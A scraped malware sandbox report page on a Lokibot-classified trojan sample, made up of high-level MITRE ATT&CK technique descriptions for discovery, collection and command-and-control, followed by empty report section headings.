Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SecuriteInfo.com.Trojan.DownloaderNET.131.2724.22120

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Lokibot

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre